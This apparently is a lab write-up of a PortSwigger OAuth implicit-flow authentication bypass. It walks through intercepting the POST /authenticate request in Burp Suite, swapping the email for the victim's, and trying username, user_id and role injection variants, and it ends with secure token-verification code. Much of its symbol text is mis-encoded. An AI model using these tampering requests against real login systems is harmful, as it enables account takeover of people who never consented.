Goal:
- π Understand OAuth 2.0 implicit flow vulnerabilities
- π― Identify client-side validation flaws in OAuth implementation
- π Bypass authentication by manipulating user data
- π€ Log in as user
carlos@carlos-montoya.net - π Learn OAuth flow interception and modification
- π Complete lab
π§ Concept Recap
OAuth Implicit Flow Authentication Bypass exploits weak validation in client applications that trust user data received from OAuth providers without proper verification. When the client doesn't validate the access token against the user data, attackers can simply change the email address in the authentication request to impersonate any user.
π The Vulnerability
OAuth Implicit Flow Basics:
OAuth 2.0 Implicit Grant Type Flow:
User β Client App β OAuth Provider (Authorization)
β
Access Token
β
User β Client App β OAuth Provider (with user data)
Purpose:
βββ Used for client-side applications (JavaScript apps)
βββ Access token returned directly in URL fragment
βββ No server-side exchange neededThe Security Flaw:
SECURE FLOW (Should happen):
ββββββββββββββββββββββββββββββββββββββββββββββββ
β 1. User authorizes at OAuth provider β
β 2. OAuth returns: access_token + email β
β 3. Client sends to /authenticate: β
β - access_token β
β - email β
β 4. Server validates: β
β β Verify access_token with OAuth provider β
β β Confirm email matches token owner β
β 5. Session created for VERIFIED user β
ββββββββββββββββββββββββββββββββββββββββββββββββ
VULNERABLE FLOW (What actually happens):
ββββββββββββββββββββββββββββββββββββββββββββββββ
β 1. User authorizes at OAuth provider β
β 2. OAuth returns: access_token + email β
β 3. Client sends to /authenticate: β
β - access_token β
β - email β
β 4. Server "validates": β
β β Trusts email parameter blindly β
β β Doesn't verify token matches email β
β 5. Session created for UNVERIFIED email β
ββββββββββββββββββββββββββββββββββββββββββββββββ
The Attack:
βββ Intercept POST /authenticate request
βββ Change email parameter to victim's email
βββ Keep valid access_token from your account
βββ Server creates session for victim!
βββ Authentication bypassed! βWhy This Works:
Root cause: Implicit trust in client-side data
Normal OAuth flow:
POST /authenticate HTTP/1.1
{
"email": "wiener@peter.com", β From OAuth (legitimate)
"access_token": "abc123xyz", β Valid token for wiener
"username": "wiener"
}
Server logic (VULNERABLE):
def authenticate(email, token, username):
# β WRONG: Assumes email matches token
if valid_token(token): # Just checks token exists
create_session(email) # Uses provided email!
return "Success"
Attacker modifies:
POST /authenticate HTTP/1.1
{
"email": "carlos@carlos-montoya.net", β Changed!
"access_token": "abc123xyz", β Still valid for wiener
"username": "wiener"
}
Server processes:
β Token valid? YES (it's wiener's valid token)
β Create session for: carlos@carlos-montoya.net
β Never verified token belongs to carlos!
Result: Logged in as carlos! π―π οΈ Step-by-Step Attack
π§ Step 1 β Access Lab and Login with Provided Credentials
- π Click "Access the lab"
- π€ Click "My account" in top-right corner
- π Click "Login with social media" button
OAuth login screen appears:
Social Media Login Page
βββ Client requesting access
βββ Permissions: Read email, username
βββ Login credentials required4. βοΈ Enter provided credentials:
- Username:
wiener - Password:
peter
5. β Click "Login" or "Authorize"
What happens:
OAuth Flow Initiated:
1. Blog redirects to OAuth provider
βββ URL: /auth?client_id=...&redirect_uri=...&response_type=token
2. User authenticates (wiener:peter)
βββ OAuth provider verifies credentials β
3. OAuth returns access token + user data
βββ Redirect: /oauth-callback#access_token=...&email=wiener@...
4. Client extracts data from URL fragment
βββ JavaScript reads: access_token, email, username
5. Client POSTs to /authenticate
βββ Sends: token, email, username to server
6. Server creates session
βββ Redirects to /my-account
You're now logged in as wiener!π‘ Step 2 β Analyze OAuth Flow in Burp Suite
- π οΈ Open Burp Suite β Proxy β HTTP history
- π Filter for recent requests
Look for this sequence:
Request Sequence:
1. GET /auth?client_id=xxxxx&redirect_uri=/oauth-callback&response_type=token&nonce=...&scope=openid%20profile%20email
βββ Initial authorization request
2. POST /login (to OAuth provider)
βββ Credentials: wiener:peter
βββ Response: 302 redirect
3. GET /oauth-callback#access_token=xxxxx&token_type=Bearer&expires_in=3600
βββ Callback with access token in URL fragment
βββ Note: Browser doesn't send fragments to server!
4. GET /oauth-callback (without fragment)
βββ Page loads JavaScript to extract token
5. POST /authenticate HTTP/1.1
βββ THIS IS THE CRITICAL REQUEST! β οΈ
βββ Contains user data to serverπ― Step 3 β Locate the Authentication Request
Find POST /authenticate request:
POST /authenticate HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=xxxxx
Content-Type: application/json
Content-Length: 103
{
"email": "wiener@hotdog.com",
"username": "wiener",
"token": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
}OR in URL-encoded format:
POST /authenticate HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=xxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
email=wiener@hotdog.com&username=wiener&token=xxxxxxxxxxxResponse:
HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: session=NEW_SESSION_TOKEN; Path=/
Session created for wiener@hotdog.comπ Step 4 β Send Request to Repeater
- π±οΈ Right-click on POST /authenticate request
- π€ Select "Send to Repeater"
- π Switch to Repeater tab
π‘ Step 5 β Modify Email to Carlos
Original request:
POST /authenticate HTTP/1.1
Host: 0a5b00f8031bc58c80b4567b00e500ae.web-security-academy.net
Cookie: session=V8bGPZ0rKsF5OqNqYD3p8rKH2l9yFmJx
Content-Type: application/json
Content-Length: 103
{
"email": "wiener@hotdog.com",
"username": "wiener",
"token": "KLZabc123XYZ456def789GHI012jkl345mno678pqr901stu234vwx567yz890"
}Modified request:
POST /authenticate HTTP/1.1
Host: 0a5b00f8031bc58c80b4567b00e500ae.web-security-academy.net
Cookie: session=V8bGPZ0rKsF5OqNqYD3p8rKH2l9yFmJx
Content-Type: application/json
Content-Length: 113
{
"email": "carlos@carlos-montoya.net",
"username": "wiener",
"token": "KLZabc123XYZ456def789GHI012jkl345mno678pqr901stu234vwx567yz890"
}Key changes:
Before: "email": "wiener@hotdog.com"
After: "email": "carlos@carlos-montoya.net"
Keep unchanged:
βββ token: (same valid token from wiener's session)
βββ username: "wiener" (optional, often ignored)
Update:
βββ Content-Length: Adjust for new email lengthπ Step 6 β Send Modified Request
- βοΈ Ensure email changed to:
carlos@carlos-montoya.net - π’ Update Content-Length if needed
- π Click "Send"
Expected response:
HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: session=NEW_SESSION_FOR_CARLOS; Path=/
Session created successfullyOr:
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "success",
"message": "Authentication successful"
}Success indicators:
β Status: 200 OK or 302 Found
β New session cookie issued
β No error messages
β Location redirects to /my-accountπ Step 7 β Access Account in Browser
Method 1: Request in Browser (Recommended)
- π±οΈ Right-click on the modified POST /authenticate request in Repeater
- π Select "Request in browser" β "In original session"
- π Copy the generated URL
- π Open browser (with Burp proxy enabled)
- π Paste URL in address bar
- β Press Enter
Method 2: Manual Cookie Copy
- π From response, copy new Set-Cookie value
- π οΈ Open browser Developer Tools (F12)
- π Go to Console tab
- π Paste:
document.cookie="session=NEW_SESSION_TOKEN" - π Navigate to
/my-account
Method 3: Burp Browser
- π±οΈ Right-click modified request
- π Select "Open in Burp's browser"
- β Automatically authenticated as carlos
π Step 8 β Verify Success
Browser should show:
ββββββββββββββββββββββββββββββββββββββββ
β My Account β
β β
β Email: carlos@carlos-montoya.net β
β Username: carlos (or wiener) β
β β
β [Update email] [Logout] β
ββββββββββββββββββββββββββββββββββββββββLab banner:
βββββββββββββββββββββββββββββββββββββββ
β β
Congratulations! β
β β
β You successfully bypassed OAuth β
β authentication by manipulating β
β the email parameter! β
β β
β Lab: Authentication bypass via β
β OAuth implicit flow β
β Status: SOLVED β β
βββββββββββββββββββββββββββββββββββββββπ Complete Attack Chain
Step 1: Access lab
β
Step 2: Login with provided credentials (wiener:peter)
βββ Completes OAuth flow normally
β
Step 3: Analyze traffic in Burp history
βββ Identify POST /authenticate request
β
Step 4: Send POST /authenticate to Repeater
β
Step 5: Modify email parameter
βββ Change: wiener@hotdog.com
βββ To: carlos@carlos-montoya.net
βββ Keep: Same valid access_token
β
Step 6: Send modified request
βββ Response: 302 Found (new session)
β
Step 7: Access /my-account with new session
βββ Method: "Request in browser"
β
Step 8: Verify logged in as carlos
βββ Email shows: carlos@carlos-montoya.net β
β
Step 9: Lab solved! πβοΈ Understanding the Vulnerability
OAuth 2.0 Implicit Flow Review
Legitimate Flow:
βββββββββββ ββββββββββββ βββββββββββ
β Browser β β Client β β OAuth β
β β β App β β Providerβ
βββββββββββ ββββββββββββ βββββββββββ
β β β
β 1. Click "Login with OAuth" β β
ββββββββββββββββββββββββββββββ>β β
β β β
β 2. Redirect to OAuth β β
β<ββββββββββββββββββββββββββββββ β
β β β
β 3. GET /auth?client_id=...&redirect_uri=... β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ>β
β β β
β 4. Login page (if not authenticated) β
β<βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β β
β 5. POST /login (username:password) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ>β
β β β
β 6. Authorization consent β β
β<βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β β
β 7. User approves β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ>β
β β β
β 8. Redirect to callback with token in URL fragment β
β /callback#access_token=xxx&email=user@email.com β
β<βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β β
β 9. GET /callback (fragment not sent to server!) β
ββββββββββββββββββββββββββββββ>β β
β β β
β 10. JavaScript extracts token from fragment β
β β β
β 11. POST /authenticate β β
β {email, username, token} β β
ββββββββββββββββββββββββββββββ>β β
β β β
β β 12. β SHOULD VALIDATE: β
β β Verify token with β
β β OAuth provider β
β β Confirm email matches β
β β β
β β 13. β ACTUALLY DOES: β
β β Trusts email blindly β
β β Creates session β
β β β
β 14. Session created β β
β<ββββββββββββββββββββββββββββββ β
β β βThe Critical Flaw
Server-side code (VULNERABLE):
# β VULNERABLE VERSION
@app.route('/authenticate', methods=['POST'])
def authenticate():
data = request.get_json()
email = data.get('email')
username = data.get('username')
token = data.get('token')
# Check if token exists and is valid format
if token and len(token) > 10: # Basic validation only!
# β CRITICAL FLAW: No verification with OAuth provider
# β Assumes email parameter matches token owner
# Create session for provided email
session_token = create_session(email)
return jsonify({
'status': 'success',
'session': session_token
}), 200
return jsonify({'error': 'Invalid token'}), 401
# Problems:
# 1. Never validates token with OAuth provider
# 2. Blindly trusts email parameter
# 3. No verification that token belongs to email
# 4. Creates session for any email providedWhy Implicit Flow is Vulnerable
Implicit Flow Characteristics:
1. Access token in URL fragment
βββ Fragment: #access_token=xxx
βββ Never sent to server
βββ JavaScript must extract it
βββ Client-side processing
2. No server-side token exchange
βββ Authorization Code Flow: Server exchanges code for token
βββ Server can verify with OAuth provider
βββ Implicit Flow: Token directly to browser
βββ No server verification step
βββ Easier to manipulate
3. Client-side data assembly
βββ JavaScript extracts: token, email, username
βββ Sends via POST /authenticate
βββ All parameters controllable by attacker!
4. Trust boundary issue
βββ Server must trust client-provided data
βββ If no verification: Complete trust
βββ Authentication bypass possible
The vulnerability chain:
βββ Implicit flow β Client assembles data β Server trusts data β Bypass!Real-World Scenarios
Scenario 1: Social Media Login
Vulnerable Application:
βββ "Login with Google" button
βββ Uses OAuth implicit flow
βββ Trusts email from client
βββ No token verification
Attack:
1. Login with your Google account
2. Intercept POST /authenticate
3. Change email to victim's email
4. Access victim's account β
Impact: Full account takeoverScenario 2: Single Sign-On (SSO)
Vulnerable SSO Implementation:
βββ Corporate SSO using OAuth
βββ Multiple applications trust SSO
βββ Implicit flow with weak validation
βββ Email-based access control
Attack:
1. Login with your corporate account
2. Modify email to admin@company.com
3. Access admin applications
4. Escalate privileges β
Impact: Privilege escalation, data breachScenario 3: API Access
Vulnerable API:
βββ OAuth for API authentication
βββ Implicit flow for mobile apps
βββ Email determines API permissions
βββ No token verification
Attack:
1. Legitimate user: user@company.com (read access)
2. Intercept OAuth callback
3. Change email to admin@company.com
4. POST /authenticate with admin email
5. Receive API token with admin permissions β
Impact: Unauthorized API access, data exfiltration㪠Advanced Concepts
Why This Specific Attack Works
Token Validation Levels:
Level 0: No validation (This lab)
βββ Server doesn't check token at all
βββ Any string accepted
Level 1: Format validation only (This lab)
βββ Server checks token exists and has valid format
βββ But doesn't verify with OAuth provider
βββ Our attack succeeds here! β
Level 2: Existence validation
βββ Server queries OAuth provider: "Does this token exist?"
βββ Provider responds: Yes (it's wiener's token)
βββ But doesn't verify email matches
βββ Attack might still work!
Level 3: Full validation (SECURE)
βββ Server queries: "Who owns this token?"
βββ Provider responds: wiener@hotdog.com
βββ Server compares with provided email
βββ Mismatch detected! β
βββ Attack fails (secure)
This lab uses Level 1 or Level 2 validation
βββ Token verified to exist
βββ But email not verified against token
βββ Authentication bypass possible! βOAuth Implicit Flow vs Authorization Code Flow
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Implicit Flow vs Authorization Code β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ£
β β
β Aspect β Implicit Flow β Code Flow β
β ββββββββββββββββββΌβββββββββββββββββββββΌββββββββββββββ β
β Token location β URL fragment β Server-side β
β Client type β JavaScript/Mobile β Server apps β
β Token exposure β High (browser) β Low (server) β
β Refresh tokens β No β Yes β
β Verification β Client-side β Server-side β
β Security β Lower β Higher β
β This attack β Possible β β Harder β β
β β
β Why Implicit Flow is vulnerable: β
β βββ Access token visible in browser β
β βββ No server-side token exchange β
β βββ Client assembles authentication data β
β βββ Easier to manipulate β
β β
β Why Authorization Code Flow is safer: β
β βββ Server exchanges code for token β
β βββ Token never exposed to browser β
β βββ Server directly validates with OAuth provider β
β βββ Harder to bypass β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββDetection Techniques
Identifying OAuth Implicit Flow:
Look for these indicators:
1. Login button text:
βββ "Login with Google"
βββ "Sign in with Facebook"
βββ "Continue with GitHub"
βββ "Use [Provider] Account"
2. Authorization URL:
βββ /auth?client_id=...&response_type=token
βββ response_type=token = Implicit Flow!
βββ response_type=code = Authorization Code Flow
3. Callback URL fragment:
βββ /callback#access_token=xxx&token_type=Bearer
βββ Token in fragment (#) = Implicit Flow
4. Network traffic:
βββ POST /authenticate immediately after callback
βββ Contains: email, token, username
βββ Vulnerable if no server verification!
5. Response headers:
βββ No token exchange with OAuth provider
βββ Direct session creationAlternative Attack Vectors
Vector 1: Username Manipulation
POST /authenticate HTTP/1.1
{
"email": "wiener@hotdog.com",
"username": "carlos",
"token": "valid_token"
}
If application uses username for access control:
βββ Might create session as "carlos" user
βββ Even with wiener's emailVector 2: User ID Injection
POST /authenticate HTTP/1.1
{
"email": "wiener@hotdog.com",
"user_id": "123",
"token": "valid_token"
}
If application blindly trusts user_id:
βββ Change user_id to victim's ID
βββ Access victim's accountVector 3: Role/Permission Injection
POST /authenticate HTTP/1.1
{
"email": "wiener@hotdog.com",
"role": "admin",
"token": "valid_token"
}
If application reads role from request:
βββ Inject admin role
βββ Privilege escalation!π‘οΈ How to Fix (Secure Code)
Fix 1: Always Verify Token with OAuth Provider
# β
SECURE VERSION
import requests
OAUTH_PROVIDER_URL = "https://oauth-provider.com"
@app.route('/authenticate', methods=['POST'])
def authenticate():
data = request.get_json()
email = data.get('email')
token = data.get('token')
# CRITICAL: Verify token with OAuth provider
token_info = verify_access_token(token)
if not token_info:
return jsonify({'error': 'Invalid token'}), 401
# CRITICAL: Verify email matches token owner
if token_info['email'] != email:
return jsonify({'error': 'Email mismatch'}), 403
# Safe to create session
session_token = create_session(token_info['email'])
return jsonify({
'status': 'success',
'session': session_token
}), 200
def verify_access_token(token):
"""Verify token with OAuth provider and get user info"""
try:
response = requests.get(
f'{OAUTH_PROVIDER_URL}/userinfo',
headers={'Authorization': f'Bearer {token}'},
timeout=5
)
if response.status_code == 200:
return response.json()
return None
except Exception as e:
logger.error(f'Token verification failed: {e}')
return None
# Benefits:
# β
Token verified with OAuth provider
# β
Email must match token owner
# β
No client-provided data trusted
# β
Authentication bypass preventedπ If this helped you β clap it up (you can clap up to 50 times!)
π Follow for more writeups β dropping soon
π Share with your pentest team
π¬ Drop a comment